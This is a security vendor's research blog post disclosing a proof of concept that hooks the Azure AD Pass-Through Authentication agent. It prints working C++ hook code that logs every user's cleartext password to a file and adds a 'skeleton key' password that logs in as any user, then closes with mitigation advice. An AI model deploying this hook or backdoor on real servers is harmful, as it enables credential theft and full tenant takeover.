Azure Skeleton Key: Exploiting Pass-Through Auth to Steal Credentials

We created a proof-of-concept that manipulates the Azure authentication function to give us a ‘skeleton key’ password that will work for all users, and dump all real clear-text usernames and passwords into a file.
Eric Saraga
6 min read
Last updated October 11, 2024

EDIT: Security researcher Adam Chester had previously written about Azure AD Connect for Red Teamers, talking about hooking the authentication function. Check out his awesome write-up here.

Executive Summary

Should an attacker compromise an organization’s Azure agent server–a component needed to sync Azure AD with on-prem AD–they can create a backdoor that allows them to log in as any synchronized user. We created a proof-of-concept that manipulates the Azure authentication function to give us a ‘skeleton key’ password that will work for all users, and dump all real clear-text usernames and passwords into a file.

Pass-Through Authentication with Azure AD-Connect

Azure AD-Connect connects an Azure AD environment to an on-premises domain and provides several authentication methods:

  • Password Hash Synchronization: A method that syncs the local on-prem hashes with the cloud.
  • Pass-Through Authentication: A method that installs an “Azure agent” on-prem which authenticates synced users from the cloud.
  • Federation: A method that relies on an AD FS infrastructure.

Our attack method exploits the Azure agent used for Pass-Through Authentication. The on-prem agent collects and verifies credentials received by Azure AD for accounts that are synced with on-prem domains.

The Authentication Flow

Azure Pass-Through Authentication Flow

  1. The user enters their username and password in Azure AD/O365.
  2. Azure AD encrypts the credentials using a public key and places them in the agent queue – a persistent connection created by the on-prem agent. The agent then collects the credentials and decrypts them with its private key.
  3. The agent then authenticates the user to the On-Prem DC using the API function LogonUserW.
  4. The DC validates the credentials and returns a response.
  5. The on-prem DC’s response is forwarded back to the Azure AD.
  6. If the user’s sign-in is successful, the user will be logged in.

Abusing the Agent

To exploit the agent, we’ll need the following:

  • Azure AD Connect is configured for Pass-Through Authentication.
  • Administrative privileges on a server with an Azure Agent installed.

After compromising a server running an Azure agent, we can tamper with the authentication flow. The process that’s responsible for verifying credentials is conveniently called AzureADConnectAuthenticationAgentService.exe, and it relies on the API function LogonUserW. 

Microsoft’s documentation states, “the Authentication Agent attempts to validate the username and the password against on-premises Active Directory by using the Win32 LogonUser API with the dwLogonType parameter set to LOGON32_LOGON_NETWORK.

If we hook the API call using APIMonitor (a tool that can hook any Windows API call assuming you have admin privileges), we can start looking at interesting stuff in the authentication process:

API Monitor

The user “noob” authenticated with the password “mypassword”.

Creating an API Monitor

Now that we know how to access passwords, let’s see if we can automate the process.

The plan is to inject a DLL into the AzureADConnectAuthenticationAgentService.exe and rewrite the pointer to the function LogonUserW with our own function.

Using EasyHook, we wrote a DLL that hooks the LogonUserW function and replaces it with a new LogonUserW:

	
		

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken) { //Write to file ofstream myfile; myfile.open("c:\\temp\\shhhh.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword); myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken); }

 

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD   dwLogonType, DWORD   dwLogonProvider, PHANDLE phToken)
{
  //Write to file
  ofstream myfile;
  myfile.open("c:\\temp\\shhhh.txt", std::ios_base::app);

  string user = utf8_encode(lpszUsername);
  string pass = utf8_encode(lpszPassword);	
myfile << "Username: ";
  myfile << user << "\n";
  myfile << "Password: ";
  myfile << pass << "\n\n";
  myfile.close();

  return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);
}

Note that the function requires the same number of parameters as LogonUserW. When the function is called, it creates the file “shhhh.txt” and writes the username and password variables to it. The function returns the result of the real LogonUserW call with the initially supplied parameters.

Injecting the DLL

Thanks to InjectAllTheThings, and its reflective DLL module, we loaded our DLL into the process and got the following results:

Clear-Text Passwords

Every synchronized user that connects to Azure AD (e.g., Office 365) will add their password to our text file.

La Cerise Sur le Gâteau

Our password collector just needs a little “I do not know what” to turn into an Azure Skeleton Key, allowing an attacker to authenticate (with one factor) as any user, using a predetermined password.

For our skeleton key, we’ll modify the return value in the function, LogonUserW, so that when we input the password ‘hacked’ we’ll successfully login, regardless of the user’s real password. LogonUserW is a Boolean function that receives a pointer to a user’s token, populating it with a user token and returning true if successful.

A little bit of testing reveals that returning either a fake token or no token causes the process to crash, so the program requires a valid token.

Where can we get a user token to pass to the function without generating one?

Well, since we’re already in the AzureADConnectAuthenticationAgentService.exe process, we can borrow its user token!

New version:

	
		

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken) { //Write to file ofstream myfile; myfile.open("c:\\temp\\beep.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword); //get time std::time_t result = std::time(nullptr); myfile << "[*] "; myfile << std::asctime(std::localtime(&result)); myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); string hacked = "hacked"; if(hacked.compare(pass)) { // Log the user in return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken); } else { // Use Skeleton Key, return true OpenProcessToken(GetCurrentProcess(), TOKEN_READ, phToken); return true; } }

 

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD   dwLogonType, DWORD dwLogonProvider, PHANDLE phToken)
{
  //Write to file
  ofstream myfile;
  myfile.open("c:\\temp\\beep.txt", std::ios_base::app);
  
  string user = utf8_encode(lpszUsername);
  string pass = utf8_encode(lpszPassword);
  
  //get time
  std::time_t result = std::time(nullptr);
  myfile << "[*] ";
  myfile << std::asctime(std::localtime(&result));
  
  myfile << "Username: ";
  myfile << user << "\n";
  myfile << "Password: ";
  myfile << pass << "\n\n";
  myfile.close();

  string hacked = "hacked";

  if(hacked.compare(pass))
  {
    // Log the user in
    return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);
  }
  else
  {
    // Use Skeleton Key, return true
    OpenProcessToken(GetCurrentProcess(), TOKEN_READ, phToken);
    return true;
  }
}

By calling OpenProcessToken we populate the phToken variable with the process’s own token.

Works like a charm!

While every user can still connect with their own password, we can successfully authenticate as any user by using the password “hacked”.

Here you go …

By this point, the attacker gained complete and full control over the tenant and can log in as any user, including the Global Admin account. This is the Endgame.

 
 
:
 
 
 
 
 
 

Final Thoughts

Installing a skeleton key on an Azure agent can be useful for:

  • Escalating your privileges to Global Administrator (which in turn allows you to control the Azure tenant)
  • Gaining access to the organization’s on-prem environment by resetting a domain admin password (assuming password write-back is enabled)
  • Maintaining persistence in an organization
  • Collecting cleartext passwords

Microsoft Security Response Center’s response to our report leads us to believe a patch will not be created:

This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering. For this issue, the attacker needs to compromise the machine first before they can take over the service.

Microsoft Security

 

Though I’m not familiar with the inner workings of Azure’s Pass-Through Authentication, I can suggest a few solutions that may help mitigate this vulnerability. For example, it might be possible to forward the encrypted credentials from the agent to a centralized agent, which resides on the DC (typically a well-protected server). That DC agent would verify the credentials and reply with an encrypted response that can only be opened by the Azure Cloud service. An attacker that gained full control on a DC has already won, any consequent exploits are overshadowed by that fact.

One of our customers had a really interesting take on this as well:

"The Skeleton Key could be a problem in environments that allow a user to login to Azure/O365 accounts without MFA, but the ability for the Agent to capture every single login id and password in plaintext as Azure authenticates with the local DC is a huge concern," they said.

  This would provide the attacker with masses of valid user accounts that could be used to login to on-prem resources as different users.  Suddenly, the Server Admin that didn’t have access to the databases, other devices and resources now has enough user accounts at their disposal to traverse all over the place and access databases that they didn’t previously have.  Yes, you could argue that grabbing the AD .dit file would also do this, but those passwords are still hashed, you’d need extra time to either crack the hashes offline, or, use a pass the hash type attack (many of which would be detected).  This new method seems much easier for a threat actor to use and harder for an IR team to detect.

Prevention

Privileged attackers might use this exploit to install a backdoor or collect passwords. Traditional log analysis may fail to detect this if the attacker knows how to cover his tracks.

Using MFA will prevent attackers from connecting to your Azure cloud with a fake password, though this attack could be used to collect passwords in MFA-enabled environments.

Further mitigation for this attack is to secure Azure Agent servers, monitor user activity for abnormal resource and data access, and use classification to discover files that contain cleartext usernames and passwords.

Sources

Microsoft’s documentation: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta-security-deep-dive

What should I do now?

Below are three ways you can continue your journey to reduce data risk at your company:

1

Schedule a demo with us to see Varonis in action. We'll personalize the session to your org's data security needs and answer any questions.

2

See a sample of our Data Risk Assessment and learn the risks that could be lingering in your environment. Varonis' DRA is completely free and offers a clear path to automated remediation.

3

Follow us on LinkedIn, YouTube, and X (Twitter) for bite-sized insights on all things data security, including DSPM, threat detection, AI security, and more.

Try Varonis free.

Get a detailed data risk report based on your company’s data.
Deploys in minutes.

Keep reading

Varonis tackles hundreds of use cases, making it the ultimate platform to stop data breaches and ensure compliance.

password-spraying:-what-to-do-and-prevention-tips
Password Spraying: What to Do and Prevention Tips
Using common or overly simplistic passwords can make users and organizations vulnerable to password spraying. Learn what password spraying attacks are, how they work, and what you can do to prevent one.
a-closer-look-at-pass-the-hash,-part-i
A Closer Look at Pass the Hash, Part I
We’ve done a lot of blogging at the Metadata Era warning you about basic attacks against passwords. These can be mitigated by enforcing strong passwords, eliminating vendor defaults, and enabling...
the-definitive-guide-to-cryptographic-hash-functions-(part-ii)
The Definitive Guide to Cryptographic Hash Functions (Part II)
Last time I talked about how cryptographic hash functions are used to scramble passwords.  I also stressed why it is extremely important to not be able to take a hash...
pass-the-hash,-part-iii:-how-ntlm-will-get-you-hacked
Pass the Hash, Part III: How NTLM Will Get You Hacked
The most important takeaway about PtH is that the password hashes that are stored in memory (and grabbed by hackers) are a feature of Single Sign On.